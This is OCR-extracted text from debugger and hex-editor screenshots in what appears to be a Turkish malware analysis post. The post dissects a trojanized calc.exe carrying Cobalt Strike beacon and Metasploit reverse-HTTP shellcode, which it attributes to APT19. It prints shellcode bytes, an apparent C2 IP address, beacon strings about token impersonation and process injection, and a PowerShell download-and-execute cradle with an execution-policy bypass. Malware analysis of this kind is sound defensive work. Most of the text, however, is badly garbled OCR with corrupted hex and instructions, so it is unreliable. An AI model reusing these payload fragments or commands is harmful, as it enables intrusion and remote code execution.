B cru | & Graph | | Log | [ Notes | ® Breakpoints | I Memory Map | [} Call Stack | =3 SEH

Jo] script | & symbols | <> source

' References | ‘*Tﬁ@

® | D0BA3CIE 63 ZE arpl word ptr ds:[esi],bp o [ Hide FPU
r----#| 008A3CSD ~ 70 64 Ei]o cg]c.m3no3d e
I ® | 008A3COF 62 00 ound eax,gword ptr ds:[eax
e DOBAICAL o0 00 add byte ptr ds:[eax],al % gggggggg
& | 00BAZCAZ o0 00 add byte ptr ds:[eax],al ECx 2ESD0000
® | DOBA3CAS 00 00 add byte ptr ds:[eax],al
» | D08A3CA7 00 00 add byte ptr ds:[eax],al EDX  0021E1CE
e D0OBAZCAS 00 00 add byte ptr ds:[eax],al EEP  0013F30C
® | 00BA3CAE 00 00 add byte ptr ds:[eax],al ESP  ODO12FEED
f ®| DOSAZCAD o0 00 add byte ptr ds:[eax],al ESI FFFFFFFE
® || o0BAZCAF o0 00 add byte ptr ds:[eax],al EDI 00000000
# || DOBAZCEL o0 0o add byte ptr ds:[eax],al
® | DOBA3CE3 o0 00 add byte ptr ds:[eax],al EIP 77DDOEDS ntd11.77DDOEDS
® | DOBA3CES 00 00 add byte ptr ds:[eax],al
® | DOBAICET o0 00 add byte ptr ds:[eax],al
g ®| DOBA3ICES o0 00 add byte ptr ds:[eax],al EEL;‘GSEE 20022236
# || o0BAZCER o0 00 add byte ptr ds:[eax],al
| 0osazceD 00 00 add byte ptr ds:[eax],al QF 0 2S£ 0 DF O
o | nosazcer 00 00 add byte ptr ds:[eax],al LE S AECR X
® | D08A3CCL o0 00 add byte ptr ds:[eax],al
o DosAzCCE 00 00 add byte ptr ds:[eax],al LastError 00000000 (ERROR_SUCCESS)
e[l posA3CCS 00 00 add byte ptr ds:[eax],al LastsStatus 00000000 (STATUS_SUCCESS)
# || ooBAZCCT o0 00 add byte ptr ds:[eax],al
# || D0BA3CCY o0 00 add byte ptr ds:[eax],al GS 002E FS 00532
e || D0BA3CCE o0 00 add byte ptr ds:[eax],al ES 002BE Qg 002B
® | DOBAZCCD 00 00 add byte ptr ds:[eax],al €S 0022 S5 002B
® || D0BA3CCF 00 00 add byte ptr ds:[eax],al
I 20aten] 00 ggg gyg: [ SZ Sox r;} [| xs7re o0000000000000000000 57O Empty 0.00
! ol 0ozazcDE 00 00 add bﬁte gtr T R e - || x87r1 00000000000000000000 ST1 Empty 0.00
! . LI
i ‘ m | | ——- i ]
byte ptr [eax]=[0]1=777 Default (stdcall) '] 5 2/ [T Unlocked
al=0 1: [esp+4] 00000000
2: [esp+8] 00000000
.text:008A3CA7 calc.exe:$53CA7 #530A7 3: [esp+C] 7EFDEDODOD
[esp+10] 0DOD13FACS
|
" : 3B i
§4dpump1 | @pump2 | @Ypump3 | @Upump4 | WLDumps | &5 wiatch 1 | lx=] Locals | 2’9‘!@ ol..Fo 33‘3333 i
0013F 8 000000
Address Hex ASCIT | S i3ra| 7EFDED
O0BASCAT 00 OO0 00 00(00 00 0O 0O|0O0 OO0 00 00(C0 OO OO 0O 0012FE| 0012FAL
00BA3CET 00 00 00 00|00 00 00 00|00 OO0 00 00|00 00 0O 00 00122 0O13FaE
00BA3CCT 0@l oo 00 00|00 00 OO0 00|00 OO0 0D 00|00 00 00 00 0012F 3 01BESE
00BA3CDT 00 00 00 00|00 0D 00 00|00 OO 0O 00|00 00 00 00 0012F 3| 0013FAd Pointer to Reco
O0BA3CET 00 00 00 00|00 00 00 00|00 OO0 0O 00|00 00 00 00 0012F3| 77DA58d ntd11. 77DASECS
O0BAZCFT 00 OO0 00 00|00 00 0O 00|00 OO0 0O 00|00 OO OO 0O 0013F 3| 016E21
00BA3DO7 00 OO0 00 00|00 00 00 00|00 OO OO 00|00 00 00 0O 0012F 3| 000000
00BA3D17 00 00 00 00|00 00 OO 00|00 OO 00 00|00 OO QO 00 0012F5 O012FA
00BA3D27 00 00 00 00|00 00 00 00|00 OO0 00 00|00 00 0O 00 =
008A3D37 |00 DO DO 00|00 OO 0O 00|00 OO OO 00|00 0O 0O 00 [ ggi;gg[;;ggg’g ECEUCn Eoantdllgzn BOEE At ons HEcRE s znet
00BA3D47 00 00 00 00|00 00 00 00|00 OO0 0O 00|00 00 00 00 | kst e >
< n < m | b
Command:
[ mitiglized
T
=2

>



B x32dbg -

£

29

File: célc.exe - PID: 518 - Module: calc.exe - Thread: Main Thread

Trace  Plu Options

S0 T B §

@

Help

Dec 26 2017

w2 B2 fi# L R

B cru | & Graph | | Log | [ Notes | ® Breakpaints | I Memory Map | [} Call Stack | =3 SEH

10 Seript | | symbols | <> Source

/- References | ‘#Tﬁég

63 ZE arpl word ptr ds:[esi],bp Hide FPU
v 70 64 jo calc.8A3003 ' » [Lnide
62 00 bound eax,qword ptr ds:[eax]
e DOBAICAL o0 00 add byte ptr ds:[eax],al % gggggggg
& | 00BAZCAZ o0 00 add byte ptr ds:[eax],al ECx 2ESD0000
. 00 00 add byte ptr ds:[eax],al
. 00 00 add byte ptr ds:[eax],al EDX  0021E1CE
. 00 00 add byte ptr ds:[eax],al EEP  0013F30C
. o0 00 add byte ptr ds:[eax],al ESP 0013FSED
! . 00 00 dd hute nre o b ESI  FFFFFFFE
i r
o | DosA3CAF 00 00 Bl EDI 00000000
# |igomezca posaC 4] Fill data 2t 008A3CCT =
® || DOSA3ICE3 oo 00 EIP  77DDOEDS ntdl11.77DDOEDS
o | oosazces 00 00 ASCIL:
. = D0 i EFLAGS 00000246
b ¢| nosazces 00 00 P e e T
! | i e ke SVh -xayD.Atic B AudxBe §yy213.252.244.174] ZE1 PE1 AE O
8A3 o SEO0 DF O
s oosazcep 00 00 : 9
o | DoBAZCEF 00 00 LlEeEE AE U EEO: FRE L
. 333:;2% gg gg [ hEE#FE: asga @ A-#EscsmEs- 0n0E0#0N:| LastError 00000000 (ERROR_SUCCESS)
o | Dosazccs 00 00 Laststatus 00000000 (STATUS_SUCCESS)
| 0osazccy 00 00 Last Codepage:
¢| oosazcco 00 00 GS D02E FS 0053
®| D0BAZCC 00 00 l:;:'ﬂh SVh -%ay0. Atfc A Ausxde §§§213_252_2-14_174| ES D0ZE Qg 002E
®| 008 00 00 CS 0023 S5 002E
o| oos 00 00 Hex: |
o | 0osazcp1 0o 00
! o | 0osazcD3 00 00 FC ES 89 00 00 OO 60 B9 E5 31 D2 64 8B 52 30 8B I ig;:g gggggggggggggggggggg gﬁ Emgg g'gg
' | D0OBA3CDS 00 00 52 O0C 8B 52 14 8B 72 28 OF B7 4A 26 31 FF 31 CO bl
! < 1 || | AC 3C &1 7C 02 2C 20 C1 CF 0D 01 C7 E2 FO 52 57 |
e 8B 52 10 BB 42 3C 01 DO BE 40 78 B5 CO 74 4A 01 {Default (stdcal
DutesptaalcaxX]Slalszzs DO 50 8B 48 18 8B 58 20 01 D3 E3 3C 49 8B 34 8B = ftdcall
ol 01 D6 31 FF 31 CO AC C1 CF 0D 01 C7 38 EO 75 F4 ; EP—‘FWH m
03 7D F8 3B 7D 24 75 E2 58 8B 58 24 01 D3 &6 BB : [esp+
.Text:008A3CA7 calc.exe: $53CAT #530AT OC 4B SE SE 1C D1 DI BE 04 SB 01 DD B9 44 24 24 = 3: E:ggﬁ%]?gg{;ggﬂga
4% Dump 1 Wy Dump 2 @4 Dump 3 W4 Dump 4
Address Hex
D0BA3DF7 00 0D 00 00|00 00 DO 00|00 00 0O
DOBA3EDT 00 00 00 0DO|00 00 00 00|00 OO0 0O 0O
DOBA3ELT 00 00 00 00|00 OO0 00 00|00 OO0 0O 0O
DOBA3E27 00 00 00 00|00 0D 0D 00|00 0D 00 0O e
DOBAZEZT 00 OO0 00 DO|0O OO0 00 00|00 OO0 00 DO
DOBA3E4T 00 0D 00 DO|00 00D 0O 0O(0O 0D 0O 0O
DOBA3ES7 00 OO0 00 00|00 0D 0O 00|00 0D 0O DO
DOBA3EET 00 00 00 00|00 0D 00 00|00 00 00 0O
DOBAZETT 00 00 00 00|00 0D 0O 00|00 0D 00 0O
DOBA3EST 00 OO0 00 00|00 0D DO 00|00 0D 00 OO
DOBAIEST 00 OO0 00 00|00 0D DO 00|00 0D 00 OO0 = ¥
¢! 1 | 3 4 1 3
Command: Default ~
| Initialized |dc.ewe: 008A3CCT -> D08A3ESG (Dx000001A0 bytes) |TlneWasldeEl:ugg"lg: 0:00:10:26
- i =

|.i [}

[i5] Seript | & symbols | <> Source | J~ References | *Tﬂég
1r

LA RNDESGHEE « QTE

B 29 BN BT

B =2s

Binary

Copy

Restore selection
Breakpoint

Follow in Dump
Follow in Memory Map
Decompile

Graph

Help on mnemanic
Show mnemonic brief
Highlighting mode
Label

Trace record
Comment

Toggle Bookmark

Analysis

Download Symbaols for This Module

Assemble
Patches

Yara.,.

Set New Origin Here

Create Mew Thread Here

Go to

Search for

Find references to

xAnalyzer

»
00
» poo
00
Cirl+Backspace 38
DC
.
N 3
00
D5 ntd11.77DDOEDS
»
00246
e AF O
0
cri+F1 e
Ctrl+5hift+F1 0000000 (ERROR_SUCCESS)
. 0000000 (STATUS_SUCCESS)
y |ooss
002E
» |ooze
5 0000000000000 STO Empty 0.00
00000000000000 ST1 Empty 0.00
Ctrl+D
»
Space
Ctrl+P
Cirl+y
Cirl+*
» 1l
4
+ l11.770E0FC7 From ntdi1. 7roDC
&
E v
3 Default

File  View Favourites Options Help Dec 26 2017
CDE 50 9§ taulIdeofhs 0 H
B cru | & Graph | | i Log | | 1 Notes | ® Breakpoints | B8 Memory Map | ]V Call Stack | =7 SEH
. EE cld
. E5 8% 00 00 00 Eall calc.863D3C
. &0 pushad
. 83 ES mov ebp,esp
. 31 D2 xor edx,edx
. 64 8B 52 30 mov edx,dword ptr [l
. 8B 52 0OC mov edx,dword ptr ds
. 8B 52 14 mov edx,dword ptr ds
. BB 72 28 mov esi,dword ptr ds
. OF B7 4A 26 movzx ecx,word ptr d
. 31 FF xar edi,edi
. 31 CO XO0r eax,eax
. AC lodsb
. 3C 61 cmp al, &l
] ~ 7C 02 i1 calc.863CD4
2C 20 sub al,zo
. C1 CF 0D ror edi,D
. 01 C7 add edi,eax
. E2 FO Toop calc.B863CCEB
. 52 push edx
. 57 push edi
. BB 52 10 mov edx,dword ptr ds
. 8B 42 3C mov eax,dword ptr ds
. 01 DO add eax,edx
. 8B 40 78 mov eax,dword ptr ds
. 85 CO test eax,eax
-—--# v T4 4A je calc.B863D36
| . 01 DO add eax,edx
i . 50 push eax
! ™ 8B 48 18 mov ecx,dword ptr ds
! I |
-l
.Text:00863CAD calc.exe: $53CAD #530AD
Pebumpl | @Wioump2 | B4 Dump3 | @uDump4 | B4 Dump 5 | B watch 1 |
Address | Hex ASCII
00863C3D Z3 72 &5 7|00 90 S0 00|00 00 00 9D |97 E7 4C 00 SrEv. .
00863C4D 00 00 00 OZ2(00 0O OO0 21|00 OO0 OO0 80|3C OS5 00 80 crioncs
00863C5D 30 05 00 OO(0O0D 0D OO0 9D |97 E7 4C 35|02 7E 19 DA 0. =
00863C6D 00 00 OO0 O4(00 00 OO0 7C|3C O5 00 7C |30 05 00 FE . .
00863C7D 19 03 BE 52|53 44 53 45|29 1D 97 98|E9 8C 43 84 »R.SD5E
00863C8D 76 43 A9 DE|39 C8 BE 02|00 00 00 63|61 6C 63 2E vcelst.
00863C90D 70 &4 62 00|00 00 00 0OO|00 OO OO OO|00 OO 00 00 o
00863CAD EC ES 89 00(00 00 60 89|ES 31 D2 &4|8E 52 30 8B =
00863CED £2 OC BB 52|14 BB 72 2B|0F B7 4A 26|31 FF 31 CO S
00863CCD AC 3C 61 7C|02 2C 20 C1|CF OD 01 C7 |E2 FO 52 57 -2 A
008&3CD0D 8B 52 10 8B(|42 3C 01 DO|8B 40 78 85|C0 74 4A 01 R .B<.H
< i |
Command:
| B__E_Lf‘ed | calc.exe: 00863CAD -> 00863CAD (0x00000001 bytes)

H VMware Tools hl?‘ﬂ: 0:00:08:55



Bellekte 0265000 adresine acilan DLL dosyasinin karakter dizileri (strings)
incelenip, arastirildiginda (#1) ve ayrica ortaya ¢ikan API adresleri de
Google arama motoru Ulzerinde arastirildiginda bu DLL dosyasinin CobaltStrike
aracina ve kabukkodunun da bu aracta kullanilan Metasploit’in Block Reverse
Http(s) kabukkoduna ait oldugu oldugu anlasilir.

) Herworsns - CuserwertDeskiotca. 2650005 o O e

[® File Edit Disk Options Tools Plugns Window Help [=]=]x]

ESHSH _-'t-"-ra‘.?-:B.BI"?Q' _nﬂBEHﬁ
PBEE (U e[ B [wasa )
Tl o Sl 2 RS 0123456789ABCDEF0123 | Data Dnspectoe e
8| [looozp3na 73 70 72 6& 67 00 00 00 63 6r sprng...could not cr = 9““‘“"‘““""20“5'
<||looo2p3E8 65 61 74 €5 20 70 69 70 65 3A eate pipe: %d...I'm intg m =
2| [looo2p3Fc 61 6C 72 65 61 64 79 20 69 6E already in SMB mode. unis  HL E
F||[looozpaio 25 73 20 28 61 64 6D 69 6E 29 %s (admin)..Could no de =l
“|[looo2pa24 74 20 6F 70 65 6E 20 70 72 6F t open process: %d ( uintl§ 28271
0002D438 25 75 29 00 46 61 69 6C 65 64 %u) .Failed to impers inte L ndid
0002D44C 6F 6E 61 74 65 20 74 6F €B 65 onate token from %d uns2  GIsAm
0002D460 28 25 75 29 00 00 00 00 46 61 ($u) ....Failed to du int64 6778479 i
0002D474 70 6C 69 63 61 74 65 20 70 72 plicate primary toke Expresson Calc FEEE
0002D488 6E 20 66 6F 72 20 25 64 20 28 n for %d (%u)...Fail [Signed <] (Bzbit7)
0002D49C 65 64 20 74 6F 20 69 6D 70 65 ed to impersonate lo [1
0002D4B0 67 67 €5 €4 20 6F 6E 20 75 73 gged on user %d (%u) 1
0002p4c4 00 00 00 00 43 6F 75 6C €4 20 ....Could not create
0002D4DB 20 74 6F 6B 65 6E 3A 20 25 64 token: %d...... HTTP
0002D4EC 2F 31 2E 31 20 32 30 30 20 4F /1.1 200 OK..Content
0002D500 2D 54 79 70 65 3A 20 61 70 70 -Type: application/o .
|@cae_|msu.__ Eval |

T Stuetwres| <] @ H 2 a5 5 3@ 7421 instances of ‘strings' found in CAUsers\MertiDeskiopicalc_02650000.bin mnma|x
*| Member i) Value (dec) & Value(h.. & Size [&) | Address 5 Length 1) Length %] <
0002CFAC 43 28 could not adjust permissions in precess: %d
0002CFD8 40 B could not create remote thread in od: %d
00020004 P 10 could not open process %d: %d E|
00020024 a7 2F %ed is an x54 process (can't inject «86 content) =
00020054 47 2F “%d is oM 36 pROCess (cAn't inject x4 content)
00020084 8 08 syswowbd
00020090 g 08 system32
; 0002003C i ic Could not set PPID to %d: %d
0002D0BC 24 18 Could not set PPID to %d =
é 7l = T g B compare | 4] Checkum ﬂml&w () output | _ .
= — { Solve PC issues: 2 important messages
R

File Edit Disk Options Tools Pluglns Window Help [=]=][x]

28Hed | L2ABR (2 | BEAB (e 2% %R e
A BEE (MRS E [eeogasa -] w4 > oW -
. o | 2 3 e isiie | e e Ea e ol ol | iE 1o | El| a2 13 |[0123456789ARCOBrONZ 3 ||aratepectr ___2 ‘l'-
§ 0002D1F4 6E 6E 65 63 74 20 6F G6E 65 00 00 00 20 2A 00 00 25 64 09 25 nnect one... *..%d.% |« '?"“'mﬂmmzmns'
<||looozpz08 64 09 25 64 2E 25 64 09 25 73 09 25 73 09 25 73 09 25 64 09 d.%d.%d.%s.%s.%s5.%d. int3 m A
2||looo2p2ic 25 64 00 00 43 6F 75 6C 64 20 6E 6F 74 20 62 69 6E 64 20 74 %d..Could not bind t uintd m |E
5| [looo2p230 6F 20 25 64 00 00 00 0049 45 58 20 28 4E €5 77 2D 4F 62 6A| o ¥d.... e ==
“|looo2p244 [65 63 74 20 4E 65 74 2E 57 65 62 63 6C 69 65 6E 74 29 2E 44 |[ct Net.Webclient). uintls 28271
0002D258 [6F 77 6E 6C 6F 61 64 53 74 72 69 6E 67 28 27 4B 74 74 70 3A|jownloadString('Htt int32 6778479
0002D26C |2F 2F 31 32 37 2F 30 2E 30 2E 31 3A 25 75 2F 27 29[00 oo 00 [//127.0.0.1:%u/")|. .. uintd2 6778479
0002D280 25 25 49 4D 50 4F 52 54 25 25 00 00 43 6F 6D 6D 61 6E 64 20 $%%IMPORT%%..Command int64 6178479 &
0002D294 6C 65 6E 67 74 68 20 28 25 64 29 20 74 6F 6F 20 6C 6F 6E 67 length (%d) too long Expression Calc ]
0002D228 00 00 00 00 00 00 00 00 49 45 58 20 2B 4E 65 77 2D 4F 62 6A ........IEX (New-0Obj [Signea <] [32bit <]
0002D2BC 65 63 74 20 4E 65 74 2E 57 65 62 63 6C 69 65 6E 74 29 2E 44 ect Net.Webclient).D [J
0002D2D0 6F 77 6E 6C 6F 61 64 53 74 72 69 6E 67 28 27 48 74 74 70 3A ownloadString('Http: 1
0002D2E4 2F 2F 31 32 37 2E 30 2E 30 2E 31 3A 25 75 2F 27 29 3B 20 25 //127.0.0.1:%u/'); %
0002D2FB 73 00 00 00 70 4F 57 65 72 73 6B 65 6C 6C 20 2D 6E 6F 70 20 s...pOWershell -nop
0002D30C 2D 65 78 65 63 20 62 79 70 61 73 73 20 2D 45 BE 63 6F 64 65 -exec bypass -Encode
0002D320 64 43 6F 6D 6D 61 6E 64 20 22 25 73 22 00 00 00 3F 25 73 3D dCommand "%s"...2%s= _
) (vt | |
% Structures (2 A a2 |7 421 instances of *strings’ found in CAUsersiMertiDesktopicalc_02650000.bin Bnmae|x
*| Member [5) Value (dec) & Value(h.. & size [§ | | *|[ Address & Length [ Length &) -
0002CFAC Lk 2B could not adjust permissions in process: %d
0002CFD8 40 28 could not create remote thread in Sed: %ed
00020004 il i could not open process %d: %d —
00020024 47 2F %d is an «54 process (can't inject 186 content) @
00020054 7 ¥ %d is oN 86 pROCess (cAn't inject 64 content)
00020084 ] 08 syswowbd
00020090 8 08 system32
g 0002D08C 28 1c Could not set PPID to %d: %d
g 0002D0BC 24 18 Could not set PPID to %d o
HER i | |3 B comere [ W checium [ @ ecomars | Bowont |
R

Cursor: 00020278 Caret: 0002D2A5 274432 bytes OVR ' MOD READ


https://twitter.com/vk_intel/status/934296300488679424?lang=en
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

€) metasploit-frameworkit X

| & C ) | & Secure | https://github.com/rapid7,

@) Hack4 Career. Inforr [ Linkedin W Mert SARICA (merts: M Inbox - mertsarica®  [Bll Login | Splunk

allocation is

push

push BXES53A458

x32dbg - File: calc.exe - PID: 5D8 - le: calc.exe - Thread: FAC

Fie View Debug Trace Plugns Favourites Options Help Dec 26 2017
D@ 0 ta s tuBi-sshn 0 BE

. pemoryMap | [} Calstae: | = s
[ cany

ﬂcm 1 ﬂ&f@h [ s l L Notes E '_Bmltpeﬂu

FF D%

00 20 00

.d11%, *InternetReadfile

push esi
£8 12 96 B9 E] push E3899612
| e by

i FF D5

g 85 CO test eax,eax

il ~ 74 O | i& calc.ezees
86 07 mov eax,dword ptr ds:[edi]
01 C3 add ebx,sax download failed? (optional?)
85 €0 test eax,eax

----- ~ 75 ES ine calc.863EA9

<8 pop eax

B
=
i
T
n
na
e
-

O S R Ry

231 xor dn,

33 26 | xor e

32 35 32 2€ 3i%or dh,byte ptr d
34 26 al.

.Texr:00863EB1 calc.exe:$53EE1 #0

Woue 1 | @owp2 | WSowe3 | ENoump4 | Ehoures | @ wathi | ieliocs | 3 stk

Address Hex [asciz i .]0 ot |
00863C 3D LA ZZ B2 JE£/ 00 30 30 00 0o | rWUW
00863C40 |00 00 00 02 00 et
00B63CSD |30 05 00 00 3 s | got_server_uri:
00863CED |00 00 00 04 00 o
00863C7D |19 03 BB 52 a7 e di
O0BGICED |76 43 A9 DB 00 |
00863C%0 |70 64 62 0O o0 o
00863CAD  [EGIEE 89 09 b2 retee |
00B63CBD |52 OC BB 52 Ty ot
00863CCO | AC 3C 6L 7C | o1 por
O00B63CDD |88 53 10 88 00|88 40 78 e FO41E0) Do
Fl . » ‘ m 1
Command:
Poused | calc.exe: ODBS3EAY -> 00BSIEAF (JN00000007 bytes) i |

Analizin devaminda ortaya c¢ikan ilave bilgiler de Google arama motorunda
arastirildiginda FireEye‘in 2017 yilinda Cin devleti tarafindan desteklendigi
iddia edilen, hukuk ve yatiraim firmalari hedef aldigi belirtilen APT19 grubu
ile ilgili yayinlamis oldugu arastirma yazisina ulasilir.

38 x320h - e clcen -1 508 Tvead A TR - S
Fle View Debug Trace Pluging Favourites Options Help Dec 26 2017
D6 0 a9y tuBoefis .l B

& cru | ?Grmh [ Lt Log [ '}l Notes [ ® Breakpoints | ™8 Mamory Map I (L) call Stack l = SEH 1 3] Seript ‘ @] symbols } <7 Source [ - References ] 'S¥ Threads i %/ Snowman | &) Handes [ '\“;Trie#J
i -« [ - s o Jmp 4208324
| . €7 45 FO 04 0 mov dword ptr ss {Et:p ii-]j-: 2 |_.“‘_"_°E"_ =
1Y FF 75 FO push dword ptr sebp-10 i
. 68 00 30 00 0f push 2000 % gigzggsg “
. 88 45 F4 mov eax,dword ptr [ebp B WOARboDD
. EF 70 50 push dword ptr d o
. 6A 00 ush 0 EDX  00SSEQCE ’
. FF 55 DB €all dword ptr [ebp EEE  0041Fs50
F——s 89 45 C4 mov prr ESP  0041FBES
. 8B 45 F4 mov eax,dword {ebp ESI  00CCO00C
| BB 40 54 mov eax,dword EDI = OO041F954
. 89 45 DO mov dword ptr
. BB 45 AB mov eax,dword EIP 04208337
. 89 45 B4 mov t:'»ﬂ:»r‘dmst:‘r:I
. BB 45 C4 mov eax,dword pt EFLAGS 00000244
. 89 45 FC mov dword ptr ZF 1 PF1 AF O
. 8B 7D FC mov edi,dword OF O SFO DFO
| 88 75 B4 mov esi,dword
™ 8B 4D DO mov ecx,dword €FO TFO IF2
. F3 A4 repe movsh
. 33 Co XOF eax, sax Lastérror 00000000 (ERROR_SUCCESS)
. BB 4D FC mov ecx,daword prr ss:febp-4 Laststatus COO000A3 (STATUS_DEVICE_NOT_READY)
. 66 89 01 mov word ptr ds:[ecx] | |
- BB 45 F4 mov eax,dword ptr s 'f?bn s - [ebp _|= E ]
. OF B7 40 14 |movzx eax.word otr ds:feax+i4 = [
= : Tut(sw?.)oocc > |5 5 [ Unlocked
— = 1i [espt: 000C Wl
dword ptr [ebp-3C]=[00 - |[2: [esp+8] 76C199F2 kernel3z.76C139F2
eax=2650000 ||3: fespsc] 79asce1e
: 4 4 L
04208337 4 esp+i0] 0420003 ]
— — I
Wourp1 | ghoump2 | EHDumo3 | HDump4 | ESoumps | B wath [ eelioceis | 00CC00¢ i
R Hex ASCIT T 76C199{ kerne132.76C199F2

04200000 EB 25 58 60|8B 48 04 33|08 BB F9 C1/E9 02 8B 5C [ =+ .MAZUU_i
04200010 |07 04 31 5C|07 OB B3 EF (04 49 75 F2 |88 18 31 58 |..1%...7.Iull
04200020 08 61 B3 CO|08 FF EQ EB|DE FF FF FF|51 8F DA 4C -a.A.yaeoyyyl
04200030 (51 A7 D9 4C|4D SA E8 00|00 00 00 5B|52 45 55 89 |QsULMZE....T|

04200040 ES B1 €3 72|80 00 00 FF|D3 89 €3 57|68 04 00 00 A Ar...y0. AW

042000}
76C1150 kernel32.76C1150C
00CC0o0{
0027334
76C101f kernel32. 76C101E0

04200050 00 S0 FF DO|68 FO BS A2|56 68 05 00|00 00 50 FF . PyDhdpevh. |
04200060 D3 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 O.. - 500136! kernel3z.76C136!

. . allt gEliest
04200070 |FD 00 00 00|OE 1F BA OE |00 B4 09 CD|21 BS 01 4C |2 Lo b e e

04200080 |CD 21 54 68|69 73 20 70|72 6F 67 72|61 & 20 63 |1:This progr
04200090 |61 6E 6E 6F|74 20 62 65(20 72 75 6E(20 €9 6E 20 |annot be run
042000A0 |44 4F 53 206D &F 64 65|2E OD OD OA[24 00 00 00 |DOS mode....|
04200080 |00 0O 00 OO|SF D2 I1C 16|DB B3 72 45(DB B3 72 45 |.....0..0°r§
042000C0 |DB B3 72 45|66 FC E4 45 |DA B3 72 45(C5 E1 F6 45 |O*refuacl"rg
04200000 |F2 B3 72 45(C5 E1 E7 45|C8 B3 72 45(C5 E1 F1 45 |bereAacet rg

7 7 73 45 |Z=rEiu,E0°rg
042000F0 |06 B3 72 45|C5 E1 FB 45|62 B3 72 45(C5 E1 EO 45 | .*rEA3jEb*rE
04200100 |DA B3 72 45(C5 E1 E3 45 (DA B3 72 45(52 69 63 68
04200110 DB B2 72 45(00 00 00 00|00 00 00 00|00 00 00 00
04200120 00 00 00 O0(S0O 45 00 00|4C 031 QS 00|00 00 00 00
04200130 00 00 00 00|00 00 00 00|EO 00 02 A1|QB 01 09 00
04200140 |00 42 02 00|00 E2 00 00100 00 00 00|51 6F 03 04

3| 7686121 kernel32.GetProcAddress
0000004
002734}

76B618] kernel32.virtualalloc
7946C6]

TEC12E; kernel32.76C12834
0000004

768649 kernel32. LoadLibraryA 1
76B642{ kernel32.virtualProtect -
0000004
04200

Paused  [INT3 breakpoint at 042083341 [ Bluetooth Devices ugging: 0:00:47:09


https://www.fireeye.com/
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
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i a2y t2l

SEov ek # nELE RS

Bou | @eoh [ Liwg

sesssssssseRse e
- Sl
< I B

02659665 | 59
02659666 ~ E9 BA
02659668 8D 74

| “inotes | @ ereakponts

=8 Memory Map | () Calstack | Ssen | ol sawt | @ symbois | <2 Sowce | - References

S Tveads | ) snowman | #Hendes | ¢ Tk |

€all 2857430
pop ecx
00 00 O ?mp 2ES9EFS
24 10 ea esi,dword ptr ss:ffespr1o]
DE FF Fij EATN 265747A
D8 MOVZX ebx,ax
DD FF Fi GaTN 25574:m
FF movsx edi,
c8 mOVZX ecx, ax
F7 68 03mov eax, dwnrd ptr ds: [268F704]
03 shl edi,
24 0C mov dm)rd m:r ssiffesp+cll,edi
add edi,
c3 mMOVSX eax bx
dec eax
1F mov word ptr ds:[edi],bx
]de 2559“
je ZSSBSCQ
dec eax
jne 26596F5
F1 movsx esi,cx
ush esi
BB 00 O 2665269
nan arv

|| Hide FPU

)

EAX
EBX

ECX
lJ EDX
EBP
EsSP
ESI
EDI

EIP

D041F8EQ
02666F51
02681028
Q000007 E
D041F8F4
0041F8CC
00000200
0041F954

02659660

EFLAGS 00000244
ZF 1 PF 1 AF O
OF 0 SF O DFOQ
CFO TF1 IF1

LastError 00000000
LastStatus CO0000A3 (STATUS_DEVICE_NOT_READY)

LA

(ERROR_SUCCESS)

v | s 2] 7 unlocked

00001000
02657440 : 00417954
3: 00000004
e 02666F51
Whourp 1 | goump2 [ eHoump3 [ ouwmp4 | Souwmps | @ wath1 [ i-locek | stnuct |
Address Hex ASCII -
0268120¢E 00 00 00 00(00 00 Q0 00|00 00 00 00|00 00 00 00 .
0268121E 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 .
0D26B122E 00 00 00 00|00 OO0 OO0 00|00 00 00 00|00 00 00 00 - C = |
0268123E 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 B %:jt;s %f{?& EEtUrn;toicalc:00a62CE 3 fnomical ci0paE20C
0268124 |00 00 0O 00|00 00 00 00|00 00 00 00|00 00 00 00 |- e Esl o0t cod
0268125 |00 00 00 00|00 00 00 00|00 00 00 09|00 03 00 80 | . R i [ e
0268126E |40 6F 7A 69|6C €C 61 2F |34 2E 30 20|28 €3 6F &0 Mo2!1]|ﬂ.-’4 .0 {com e 2
0268127E 70 61 74 69|62 6C 65 3B|20 4D 53 49|45 20 37 2E patible; MSIE 7. AETER
026s126E |30 38 20 5763 6E &4 €F|77 73 20 4E|54 20 36 2E |0j Windows NT . i) Rl IR RIS SR R
0268129 |30 3B 20 54|72 69 &4 €5 |6E 74 2F 34|2E 30 29 00 |0 Trident/4.0 A y
026812AE |00 00 00 00|00 00 00 00[00 00 00 00|00 00 00 00 |. e el o SSEHRCEUEN £0 026 BPEL (UER N, 020 8C2%
026812BE |00 0D 00 00|00 00 00 00|00 00 00 00|00 00 00 0O wp i g
026812CE |00 0D 0O 00|00 OO0 00 00|00 00 00 00|00 00 00 00 Screiralocatcol
0268120E |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 77| 20215 480241
026812EE 00 40 2F 73|75 62 € €974 2E 70 €8 nieal sonaen
02E812FE 70 00 00 00|00 Q0 00 00|00 00 00 00(00 00 00 00 ao41ra| coccoo
0268130€E 00 00 00 00|00 00 Q0 00|00 00 00 00 00 00 00 00 |):‘.l‘.:9 02666F
0268131E 00 00 00 00|00 O0 OO0 00|00 00 00 00|00 00 00 00 'J‘:";:B _‘
0268132E |00 OO0 0O 00|00 00 00 OB 20 00 00 04 004173 oo41F
0268133E 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 = i
02681346 |00 00 00 00|00 00 00 00|00 00 00 0000 00 00 00 fe] 0os1Ea) JEREIn kevnelaz virtusiAlloc 5
< [ | < | " 3
Command:

Fle View
29

0 ¢ty t2ll

Debug Trace Plugns Favourites Options Help  Dec 26 2017

SEePfc# L B®

& cru

Dapn | Lilog | Cinotes |  mresiponts | ™8 Memorymap | [ catstck | =msen | Joisapt | @ symbos | <7 sowce | L References

S Tiveacs | < snowman | #Handes | ¢ Tk

00 40 0f cmp _edi, 4000
i1 2657402
X0or eax,eax
jmp 26574E5
push esi
o8 push dword ptr ds:[eax+5]
ﬂush ebx
FE 00 O 2667000
oc add esp,C
1E 00 [mov byte Dtr ds:[esi+ebx],0
mov eax,ed
pop edi
es1

push ebp

